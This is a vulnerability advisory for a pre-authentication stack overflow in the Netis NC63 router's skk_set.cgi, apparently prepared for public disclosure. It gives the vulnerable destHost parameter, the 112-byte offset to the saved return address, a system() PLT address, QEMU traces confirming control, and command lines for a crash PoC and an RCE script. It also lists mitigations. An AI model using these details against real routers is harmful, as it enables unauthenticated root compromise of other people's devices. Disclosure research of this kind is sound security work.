CVE-2026-76071: Unauthenticated Pre-Auth Stack Buffer Overflow via sscanf %[^,] in skk_set.cgi ipFilterList Handler in Netis NC63
Researcher: Özcan Ersan (@ozcanpng)
- CVE:
CVE-2026-76071 - Vendor: Netis Systems Co., Ltd.
- Product: Netis NC63 AC1200 Wireless Dual Band Gigabit MU-MIMO Router
- Tested firmware:
NC63_V3.0.0.3327 - Affected component:
/bin/netis.cgi - Endpoint:
POST /cgi-bin/skk_set.cgi - Trigger:
ipFilterList=mod - Dynamically confirmed parameter:
destHost - Same parser statically reached by:
srcHost - Authentication: none observed or required in the validated path
- Architecture: MIPS32r2 little-endian, o32 ABI, uClibc
- Vulnerability class: stack-based buffer overflow with saved return-address control
- Validation: original-hash production CGI in an isolated QEMU user-mode runtime
- CVE record state at preparation: assigned; CNA record details pending population
The generic MIB/value parser in Netis NC63 firmware V3.0.0.3327 parses the
destHost field of ipFilterList with two %[^,] scansets but no maximum
field widths. Each conversion writes to a 16-byte local stack buffer. A direct
HTTP client can therefore submit a long comma-free component and overwrite the
function's saved control data.
For the dynamically tested second destHost component, saved ra is exactly
112 bytes from the local buffer. QEMU tracing against the original-hash CGI
confirmed an attacker-selected third entry at 0x0040f7f4. A separate
observation-only test redirected the return to the original system() PLT
path at 0x00423ab0 while preserving attacker-controlled request data as the
exact MIPS a0 argument. A guarded /bin/sh logged the marker and executed no
command.
The public PoC deliberately contains only an overlong B pattern. It does not
include the private control-transfer value or command-boundary construction.
The separately maintained RCE script in poc/exploit-db/ is prepared for an
Exploit-DB submission and is intended for authorized testing of affected
systems only.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so
The vendor frontend builds srcHost and destHost as three comma-separated
components and posts them with ipFilterList to /cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});The validated HTTP-shaped CGI request contained no Cookie or Authorization
header. /tmp/boa_auth was absent, yet execution continued into the
ipFilterList=mod and destHost parser path. The memory-corruption defect is
the widthless scanset in FUN_0040f7f4; the broader CGI authorization failure
is the condition that exposes this privileged handler pre-authentication.
Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
The original libapmib.so metadata maps both srcHost and destHost to type
0x0c, which selects this parser case. Dynamic validation was performed with
destHost; srcHost is included as static same-parser coverage rather than a
separate dynamic claim.
Normalized Ghidra-derived pseudocode:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;sscanf() is not intrinsically the vulnerability. The defect is that %[^,]
has no maximum field width, so sscanf has no knowledge that each destination
is only 16 bytes. A capacity-aware format would use a width such as
%15[^,], verify that exactly three conversions succeeded, and then validate
the parsed address values. This is an example mitigation, not a vendor patch.
FUN_0040f7f4 begins at 0x0040f7f4 and creates a 0x1d0-byte frame:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)The type-0x0c destinations are at fp+0x14c and fp+0x15c. Saved ra is
at fp+0x1cc, making the exact distance from the second buffer:
0x1cc - 0x15c = 0x70 = 112 bytes
The isolated PC proof used 112 padding bytes followed by the three low
little-endian bytes of 0x0040f7f4; the sscanf terminator supplied the
fourth zero byte. QEMU observed two ordinary parser entries followed by a
third entry caused by the overwritten return address:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.
A separate private validation formed saved ra=0x00423ab0, the original
binary's system() PLT path. A controlled request-key suffix remained in MIPS
a0 at return. The disposable runtime replaced /bin/sh with a static logger:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
This establishes an RCE primitive in the isolated production-code path. The physical router's exact exploit reliability, kernel randomization behavior, and default WAN exposure were not tested.
The tested netis.cgi is byte-identical to the production artifact. Because
flash-backed MIB state is unavailable in qemu-user, the disposable rootfs used
a disclosed lab-only libapmib.so accommodation that allocated zeroed MIB
state and adjusted one packed-field alignment. It did not change the CGI,
request parser, vulnerable sscanf, stack frame, saved-return offset,
epilogue, or system() path. Static metadata came from the original vendor
libapmib.so.
The original executable is fixed base, lacks a stack canary and RELRO, and has an executable stack and RWX segment. These properties support exploitability analysis but are not substitutes for the dynamic PC and guarded-boundary tests.
Dry-run generation of the URL-encoded body:
python3 poc/poc.pyExplicit transmission to an authorized disposable target:
python3 poc/poc.py --target http://192.168.1.1 --sendpoc/exploit-db/CVE-2026-76071.py is the RCE script prepared for Exploit-DB.
It targets the documented unauthenticated ipFilterList vulnerability and
accepts a command argument for use against an authorized, affected test target:
python3 poc/exploit-db/CVE-2026-76071.py <target> "id"The public script uses a 115-byte B component to demonstrate the overflow
condition. Sending it may crash the CGI process. It contains no command string,
shellcode, return-to-system address, reverse shell, or persistence.
Successful exploitation can execute attacker-selected commands in the router-management context. The original Boa configuration runs CGI as root. Potential consequences include router configuration and secret disclosure, DNS/firewall/routing manipulation, traffic redirection, service disruption, and full device compromise.
- Use
%15[^,]for each 16-byte destination and require three successful conversions. - Reject oversized serialized host values before parsing.
- Validate both IP values server-side before storing them.
- Enforce administrator authorization before privileged CGI dispatch.
- Audit every metadata parser case for widthless
%sand%[...]. - Rebuild with stack canaries, PIE, NX, and RELRO.
See evidence/README.md. Normalized pseudocode and
instruction evidence are under
attachments/decompiled-functions/.
- 2026-08-16: discovery and isolated production-binary validation completed.
- August 2026: reported to VulnCheck.
- 2026-08-20: VulnCheck assigned
CVE-2026-76071and authorized public disclosure. - 2026-08-20: public-disclosure package published.
No physical router was flashed. No real command, shellcode, reverse shell, persistence, external network connection, or destructive operation was used.







